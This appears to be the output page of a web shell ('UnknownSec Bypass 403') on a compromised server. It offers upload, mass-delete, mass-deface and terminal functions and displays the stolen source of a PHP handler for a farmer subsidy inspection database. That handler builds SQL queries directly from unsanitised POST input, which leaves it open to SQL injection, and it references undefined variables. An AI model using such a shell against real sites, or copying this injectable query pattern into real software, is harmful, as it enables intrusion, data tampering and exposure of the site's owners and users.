UnknownSec Bypass
403
:
/
var
/
www
/
jpsagrisolution
/
cpanel
/ [
drwxr-xr-x
]
Menu
Upload
Mass depes
Mass delete
Terminal
Info server
About
name :
manage_farmer_anudaan_nirikshan_details.php
<?php session_start(); require_once "../panelassets/config.php"; $regno = $_POST['regno']; if($_POST['nirakshan_date']=="" || $_POST['nirakshan_date']=="01-01-1900") { $nirakshan_date="1900-01-01"; } else { $ninputdate = explode("-", $_POST['nirakshan_date']); $nirakshan_date =$ninputdate[2].'-'.$ninputdate[1].'-'.$ninputdate[0]; } $site_vivran = $_POST['site_vivran']; $nirakshan_site_vivran=$_POST['nirakshan_site_vivran']; $karydayi_fram = $_POST['karydayi_fram']; $drip_samagri = $_POST['drip_samagri']; $aapoorti_karta_name = $_POST['aapoorti_karta_name']; $ensig=$_POST['ensig']; $enname = $_POST['enname']; $enpost=$_POST['enpost']; if($_POST['endate']=="" || $_POST['endate']=="01-01-1900") { $endate="1900-01-01"; } else { $einputdate = explode("-", $_POST['endate']); $endate =$einputdate[2].'-'.$einputdate[1].'-'.$einputdate[0]; } $udsig=$_POST['udsig']; $udname=$_POST['udname']; $udpost=$_POST['udpost']; if($_POST['uddate']=="" || $_POST['uddate']=="01-01-1900") { $uddate="1900-01-01"; } else { $uinputdate = explode("-", $_POST['uddate']); $uddate =$uinputdate[2].'-'.$uinputdate[1].'-'.$uinputdate[0]; } $creationuserid=$_SESSION["adminid"]; $hdid = $_POST['hdid']; $btnopration = $_POST['btnopration']; $creationdatetime = date("Y-m-d H:m:s"); $message= ""; $cnt=""; if($btnopration=="Save") { $query="delete from anudaan_nirakshan_reporttb where regno='".$regno."'"; $result = mysqli_query($conn, $query); $query= " insert into anudaan_nirakshan_reporttb(regno,nirakshan_date,site_vivran,nirakshan_site_vivran,karydayi_fram,drip_samagri,aapoorti_karta_name,ensig,enname,enpost,endate,udsig,udname,udpost,uddate,isdeleted,creationuserid,creationdatetime) VALUES('{$regno}','{$nirakshan_date}','{$site_vivran}','{$nirakshan_site_vivran}','{$karydayi_fram}','{$drip_samagri}', '{$aapoorti_karta_name}','{$ensig}','{$enname}','{$enpost}','{$endate}','{$udsig}','{$udname}','{$udpost}','{$uddate}','{$notdeleted}','{$creationuserid}','{$creationdatetime}')"; $result = mysqli_query($conn, $query); if($result==true) $message="1"; } else if($btnopration=="Update"){ $query = "select count(0) as count from anudaanfarmerregtb where regno!='".$hdid ."' and mobileno='".$mobileno1."' and isdeleted='".$notdeleted."'"; $result = mysqli_query($conn,$query); while($row = mysqli_fetch_array($result)) { $data["count"]= $row["count"]; } if($data["count"]=="0") { $query= "Update anudaanfarmerregtb set farmername='{$farmername}',fathername='{$fathername}',mobileno='{$mobileno1}',cast='{$cast}', age= '{$age}',gender='{$gender}', stcode='".$state."', distcode='".$district."',blockid='".$block."',villageid='".$villae."', ensig='{$ensig}',enname='{$enname}',enpost='{$enpost}',endate='{$endate}',udsig='{$udsig}',udname='{$udname}',udpost='{$udpost}',uddate='{$uddate}', modificationuserid='".$creationuserid."', modificationdatetime ='{$creationdatetime}' where regno='".$hdid."'"; $result = mysqli_query($conn, $query); if($result==true) $message="3"; } else { $message="2"; } } else if($btnopration=="Delete") { //$query="delete from farmerdetailstb where farmerid='".$hdid."'"; $query="Update anudaanfarmerregtb set isdeleted ='".$deleted."' where regno='".$hdid."'"; $result = mysqli_query($conn, $query); if($result==true) $message="4"; } echo json_encode($message); ?>
Copyright © 2025 - UnknownSec